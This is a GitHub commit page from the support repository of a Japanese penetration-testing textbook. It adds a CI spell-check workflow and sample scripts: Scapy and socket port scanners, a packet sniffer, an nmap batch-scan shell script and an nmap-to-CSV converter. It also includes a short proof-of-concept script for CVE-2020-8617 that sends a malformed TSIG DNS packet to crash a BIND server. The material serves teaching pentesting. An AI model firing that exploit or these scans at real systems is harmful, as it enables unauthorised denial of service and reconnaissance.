Skip to content

Commit

Permalink
add files
Browse files Browse the repository at this point in the history
  • Loading branch information
tkmru committed Aug 31, 2023
1 parent f401c03 commit 075510f
Show file tree
Hide file tree
Showing 92 changed files with 8,178 additions and 5 deletions.
18 changes: 18 additions & 0 deletions .github/workflows/typos.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
name: typos

on:
push:
branches: [ main ]
pull_request:
branches: [ main ]

jobs:
run:
name: Spell Check with Typos
runs-on: ubuntu-latest
steps:
- name: Checkout Actions Repository
uses: actions/checkout@v2

- name: Check spelling of files in repository
uses: crate-ci/typos@master
11 changes: 6 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,8 @@

---

![typos workflow](https://github.com/oreilly-japan/pentest-starting-with-port-scanner/actions/workflows/typos.yml/badge.svg)

本リポジトリはオライリー・ジャパン発行書籍『[ポートスキャナ自作ではじめるペネトレーションテスト](https://www.oreilly.co.jp/books/9784814400423/)』のサポートサイトです。


Expand All @@ -19,11 +21,10 @@

### ファイル構成

★浅見コメ★サンプルです
|フォルダ名 |説明 |
|:-- |:-- |
|chapter5 |5章で使用するコードやデータ |
|chapter7 |7章で使用するコード |
|フォルダ名 |説明 |
|:-- |:-- |
|[code](./code) |サンプルコードや設定ファイルが格納されているフォルダ |
|[containers](./containers) |演習で用いるDockerコンテナに関連するファイルが格納されているフォルダ |

コードやデータの解説は本書籍をご覧ください。

Expand Down
7 changes: 7 additions & 0 deletions _typos.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
[type.root]
extend-glob = ['*.root']
check-file = false

[type.nessus]
extend-glob = ['*.nessus']
check-file = false
26 changes: 26 additions & 0 deletions code/chapter02/CVE-2020-8617.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
#!/usr/bin/python3
# coding: UTF-8

import sys
from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT

args = sys.argv

if len(args) == 1:
print('Specify the target IP address in the command line argument')
sys.exit()

# DNSのパケットを作成する
tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256",
rclass=255, mac_len=0, mac_data="", time_signed=0,
fudge=300, error=16)
dns_layer = DNS(rd=1, ad=1,
qd=DNSQR(qname='www.example.com'), ar=tsig)
dns_req = IP(dst=args[1])/UDP(dport=53)/dns_layer

response = sr1(dns_req, timeout=3)
if response is None:
print('Maybe the attack is successful!')
else:
print('The attack failed...')
print(response)
10 changes: 10 additions & 0 deletions code/chapter02/sniff-icmp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#!/usr/bin/python3
# coding: UTF-8

from scapy.all import sniff

# sniff関数の引数に指定するコールバック関数
def print_packet(packet):
packet.show()

sniff(filter='icmp', prn=print_packet, count=5)
17 changes: 17 additions & 0 deletions code/chapter02/tcp-connect-scan-by-socket.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
#!/usr/bin/python3
# coding: UTF-8

import socket
import sys

target_ip = sys.argv[1]
target_port = int(sys.argv[2])

s = socket.socket()
errno = s.connect_ex((target_ip, target_port))
s.close()

if errno == 0:
print(f"TCP port {target_port} is open")
else:
print(f"TCP port {target_port} is closed")
36 changes: 36 additions & 0 deletions code/chapter02/tcp-connect-scan-v1.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#!/usr/bin/python3
# coding: UTF-8

import sys
from scapy.all import IP, TCP, sr1

target_ip = sys.argv[1]
target_port = int(sys.argv[2])

ip_layer = IP(dst=target_ip)

# SYNパケットを作成する
syn_packet = ip_layer/TCP(dport=target_port, flags='S')

# SYNパケットを送信し、レスポンスを取得する
print('Send SYN packet:')
response_packet = sr1(syn_packet)
print(f'Response: {response_packet}')
print('-----------------------------------')

# SYN/ACKパケットが返ってきた場合、ACKパケットを送信する
if (response_packet.haslayer(TCP) and
response_packet[TCP].flags == 'SA'):
tcp_layer = TCP(dport=target_port, flags='A',
ack=response_packet.seq + 1,
seq=response_packet.ack)
ack_packet = ip_layer/tcp_layer
print('Send ACK packet:')
response_after_handshake = sr1(ack_packet, timeout=3)
print(f'Response: {response_after_handshake}')
print('-----------------------------------')
print(f'TCP port {target_port} is open')

# RSTパケットが返ってきた場合、ポートは閉じていると判断する
else:
print(f'TCP port {target_port} is closed')
61 changes: 61 additions & 0 deletions code/chapter02/tcp-connect-scan-v2.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
#!/usr/bin/python3
# coding: UTF-8

import sys
import time

from scapy.all import IP, TCP, sr1

target_ip = sys.argv[1]
target_port = int(sys.argv[2])

ip_layer = IP(dst=target_ip)

# SYNパケットを作成する
syn_packet = ip_layer/TCP(dport=target_port, flags='S')

# SYNパケットを送信し、レスポンスを取得する
print('Send SYN packet:')
response_packet = sr1(syn_packet)
print(f'Response: {response_packet}')
print('-----------------------------------')

# SYN/ACKパケットが返ってきた場合、ACKパケットを送信する
if (response_packet.haslayer(TCP) and
response_packet[TCP].flags == 'SA'):
ack_tcp_layer = TCP(dport=target_port, flags='A',
ack=response_packet.seq + 1,
seq=response_packet.ack)
ack_packet = ip_layer/ack_tcp_layer
print('Send ACK packet:')
sr1(ack_packet, timeout=3)
print('-----------------------------------')
print(f'TCP port {target_port} is open')

# 接続を終了するためにFINパケットを送信する
print('Send FIN packet:')
fin_tcp_layer = TCP(dport=target_port, flags='FA',
ack=response_packet.seq + 1,
seq=response_packet.ack)
fin_packet = ip_layer/fin_tcp_layer
response_fin_packet = sr1(fin_packet, timeout=3)
print(f'Response: {response_fin_packet}')

# FINパケットが返ってきた場合、ACKパケットを送信する
if (response_fin_packet.haslayer(TCP) and
response_fin_packet[TCP].flags == 'FA'):
print('Send ACK packet:')
ack_after_fin_tcp_layer = TCP(
dport=target_port, flags='A',
ack=response_fin_packet.seq + 1,
seq=response_fin_packet.ack
)
ack_packet_after_fin = ip_layer/ack_after_fin_tcp_layer
sr1(ack_packet_after_fin, timeout=3)
print('Connection closed')
else:
print('Failed to close connection')

# RSTパケットが返ってきた場合、ポートは閉じていると判断する
else:
print(f'TCP port {target_port} is closed')
21 changes: 21 additions & 0 deletions code/chapter02/tcp-syn-scan.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
#!/usr/bin/python3
# coding: UTF-8

import sys
from scapy.all import IP, TCP, sr1

target_ip = sys.argv[1]
target_port = int(sys.argv[2])

# SYNパケットを作成する
syn_packet = IP(dst=target_ip)/TCP(dport=target_port, flags="S")

# パケットを送信し、レスポンスを取得する
response_packet = sr1(syn_packet)

# SYN/ACKパケットが返ってきた場合は、ポートが開いていると判断
if (response_packet.haslayer(TCP) and
response_packet[TCP].flags == "SA"):
print(f"TCP port {target_port} is open")
else:
print(f"TCP port {target_port} is closed")
50 changes: 50 additions & 0 deletions code/chapter03/nmap-xml2csv.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
require 'nmap/xml'
require 'optparse'

nmap_file = ARGV[0]

output_file = 'portscan-result.csv'
opt = OptionParser.new
opt.on('-o', '--output <csv file name>', 'output CSV File') do |val|
output_file = val
end
opt.on('-h', '--help', 'show help') {
puts opt
exit
}
opt.parse(ARGV)

puts '[+] parse xml file:'
puts nmap_file
puts '-----------------------------------------------------'

result = ''
Nmap::XML.open(nmap_file) do |xml|
xml.each_host do |host|
if host.status.to_s == 'up'
row = false
host.each_port do |port|
if port.state.to_s == 'open'
if !row
result += host.ip + "\t"
row = true
end
result += "#{port.number}(#{port.service}), "
end
end
if result.end_with?('), ', ')')
result = result.slice(0...-2)
end
if row
result += "\n"
end
end
end
end
puts result
File.open(output_file, 'w') do |f|
f.puts(result)
end

puts '-----------------------------------------------------'
puts '[+] Output: ' + output_file
61 changes: 61 additions & 0 deletions code/chapter03/portscan-tcp-all.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
#!/bin/sh
set -eu

# ヘルプメッセージを定義
usage() {
echo "Usage: ${0##*/} -T<0-5> \
<target-hosts.txt> <exclude-hosts.txt>"
}

# コマンドライン引数がなにも無い場合にエラーメッセージを出力する
if [ "$#" -eq 0 ]; then
echo "Error: Target hosts must be specified"
usage
exit 1
fi

if [ "$1" = "-h" ]; then
usage
exit 0
fi

today=`date +%Y%m%d` # フォルダ名に使用するための日付を取得する
# 結果を格納するフォルダがなければ作成する
if [ ! -d ./results/${today} ]; then
mkdir -p ./results/${today}
fi

# 出力するファイル名に使用するための日時を取得する
now=`date +%Y%m%d_%H%M%S`

# 引数を変数に格納
timing_template=$1
hosts=`cat $2`
echo "Target: ${hosts}"

if [ "$#" -eq 3 ]; then
exclude_hosts=`cat $3`
echo "Exclude Hosts: ${exclude_hosts}"
exclude_option="--exclude ${exclude_hosts}"
else
exclude_option=""
fi

for h in $hosts
do
# フォルダ名に使用するためCIDR表記の/を_に置換
host_name=`echo $h | tr "/" "_"`
# TCP SYN Pingによってホストを発見し、SYNスキャンを行う
# 結果はXMLファイルとTXTファイルで出力する
# SYNスキャンで結果がうまく取れない場合、-sSを-sTに変更し、
# TCP Connectスキャンに切り替える
echo "Now Launching: sudo nmap ${exclude_option} -v -n \
-p- -PS22,80,443 -sS --host-timeout 30m \
-oX ./results/${today}/${host_name}_syn_ping_${now}.xml \
-oN ./results/${today}/${host_name}_syn_ping_${now}.txt ${h}"

sudo nmap ${timing_template} ${exclude_option} -v -n \
-p- -PS22,80,443 -sS --host-timeout 30m \
-oX ./results/${today}/${host_name}_syn_ping_${now}.xml \
-oN ./results/${today}/${host_name}_syn_ping_${now}.txt ${h}
done
Loading

0 comments on commit 075510f

Please sign in to comment.